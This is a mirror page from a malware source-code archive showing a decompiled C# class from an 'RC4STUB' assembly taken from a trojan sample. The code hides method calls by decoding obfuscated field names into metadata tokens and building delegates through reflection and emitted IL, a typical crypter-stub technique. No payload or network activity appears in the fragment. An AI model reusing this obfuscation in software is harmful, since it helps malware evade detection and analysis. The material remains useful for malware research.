mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 09:56:10 +00:00
f2ac1ece55
add
184 lines
4.5 KiB
C#
184 lines
4.5 KiB
C#
// Decompiled with JetBrains decompiler
|
||
// Type: .
|
||
// Assembly: RC4STUB, Version=1.0.0.0, Culture=neutral, PublicKeyToken=4bd99f8fe4adcd07
|
||
// MVID: DA5B8577-1DEE-425A-83B8-F58DDD172F9B
|
||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Llac.ajli-ac41d99cde54e36a4e446e9c8d3aecae2cd439033b269019f516b141753fb0e6.exe
|
||
|
||
using System;
|
||
using System.Reflection;
|
||
using System.Reflection.Emit;
|
||
using System.Runtime.InteropServices;
|
||
|
||
namespace \u0001
|
||
{
|
||
internal static class \u0001
|
||
{
|
||
private static ModuleHandle \u0001;
|
||
private static char[] \u0001 = new char[58]
|
||
{
|
||
'\u0001',
|
||
'\u0002',
|
||
'\u0003',
|
||
'\u0004',
|
||
'\u0005',
|
||
'\u0006',
|
||
'\a',
|
||
'\b',
|
||
'\u000E',
|
||
'\u000F',
|
||
'\u0010',
|
||
'\u0011',
|
||
'\u0012',
|
||
'\u0013',
|
||
'\u0014',
|
||
'\u0015',
|
||
'\u0016',
|
||
'\u0017',
|
||
'\u0018',
|
||
'\u0019',
|
||
'\u001A',
|
||
'\u001B',
|
||
'\u001C',
|
||
'\u001D',
|
||
'\u001E',
|
||
'\u001F',
|
||
'\u007F',
|
||
'\u0080',
|
||
'\u0081',
|
||
'\u0082',
|
||
'\u0083',
|
||
'\u0084',
|
||
'\u0086',
|
||
'\u0087',
|
||
'\u0088',
|
||
'\u0089',
|
||
'\u008A',
|
||
'\u008B',
|
||
'\u008C',
|
||
'\u008D',
|
||
'\u008E',
|
||
'\u008F',
|
||
'\u0090',
|
||
'\u0091',
|
||
'\u0092',
|
||
'\u0093',
|
||
'\u0094',
|
||
'\u0095',
|
||
'\u0096',
|
||
'\u0097',
|
||
'\u0098',
|
||
'\u0099',
|
||
'\u009A',
|
||
'\u009B',
|
||
'\u009C',
|
||
'\u009D',
|
||
'\u009E',
|
||
'\u009F'
|
||
};
|
||
|
||
public static void \u0003([In] int obj0)
|
||
{
|
||
Type typeFromHandle;
|
||
try
|
||
{
|
||
typeFromHandle = Type.GetTypeFromHandle(\u0001.\u0001.\u0001.ResolveTypeHandle(33554433 + obj0));
|
||
}
|
||
catch
|
||
{
|
||
return;
|
||
}
|
||
foreach (FieldInfo field in typeFromHandle.GetFields(BindingFlags.Static | BindingFlags.NonPublic | BindingFlags.GetField))
|
||
{
|
||
string name = field.Name;
|
||
bool flag = false;
|
||
int num = 0;
|
||
for (int index1 = name.Length - 1; index1 >= 0; --index1)
|
||
{
|
||
char ch = name[index1];
|
||
if (ch == '~')
|
||
{
|
||
flag = true;
|
||
break;
|
||
}
|
||
for (int index2 = 0; index2 < 58; ++index2)
|
||
{
|
||
if ((int) \u0001.\u0001.\u0001[index2] == (int) ch)
|
||
{
|
||
num = num * 58 + index2;
|
||
break;
|
||
}
|
||
}
|
||
}
|
||
MethodInfo methodFromHandle;
|
||
try
|
||
{
|
||
methodFromHandle = (MethodInfo) MethodBase.GetMethodFromHandle(\u0001.\u0001.\u0001.ResolveMethodHandle(num + 167772161));
|
||
}
|
||
catch
|
||
{
|
||
continue;
|
||
}
|
||
Delegate @delegate;
|
||
if (methodFromHandle.IsStatic)
|
||
{
|
||
try
|
||
{
|
||
@delegate = Delegate.CreateDelegate(field.FieldType, methodFromHandle);
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
continue;
|
||
}
|
||
}
|
||
else
|
||
{
|
||
ParameterInfo[] parameters = methodFromHandle.GetParameters();
|
||
int length = parameters.Length + 1;
|
||
Type[] parameterTypes = new Type[length];
|
||
parameterTypes[0] = typeof (object);
|
||
for (int index = 1; index < length; ++index)
|
||
parameterTypes[index] = parameters[index - 1].ParameterType;
|
||
DynamicMethod dynamicMethod = new DynamicMethod(string.Empty, methodFromHandle.ReturnType, parameterTypes, typeFromHandle, true);
|
||
ILGenerator ilGenerator = dynamicMethod.GetILGenerator();
|
||
ilGenerator.Emit(OpCodes.Ldarg_0);
|
||
if (length > 1)
|
||
ilGenerator.Emit(OpCodes.Ldarg_1);
|
||
if (length > 2)
|
||
ilGenerator.Emit(OpCodes.Ldarg_2);
|
||
if (length > 3)
|
||
ilGenerator.Emit(OpCodes.Ldarg_3);
|
||
if (length > 4)
|
||
{
|
||
for (int index = 4; index < length; ++index)
|
||
ilGenerator.Emit(OpCodes.Ldarg_S, index);
|
||
}
|
||
ilGenerator.Emit(flag ? OpCodes.Callvirt : OpCodes.Call, methodFromHandle);
|
||
ilGenerator.Emit(OpCodes.Ret);
|
||
try
|
||
{
|
||
@delegate = dynamicMethod.CreateDelegate(typeFromHandle);
|
||
}
|
||
catch
|
||
{
|
||
continue;
|
||
}
|
||
}
|
||
try
|
||
{
|
||
field.SetValue((object) null, (object) @delegate);
|
||
}
|
||
catch
|
||
{
|
||
}
|
||
}
|
||
}
|
||
|
||
static \u0001()
|
||
{
|
||
if ((object) typeof (MulticastDelegate) == null)
|
||
return;
|
||
\u0001.\u0001.\u0001 = Assembly.GetExecutingAssembly().GetModules()[0].ModuleHandle;
|
||
}
|
||
}
|
||
}
|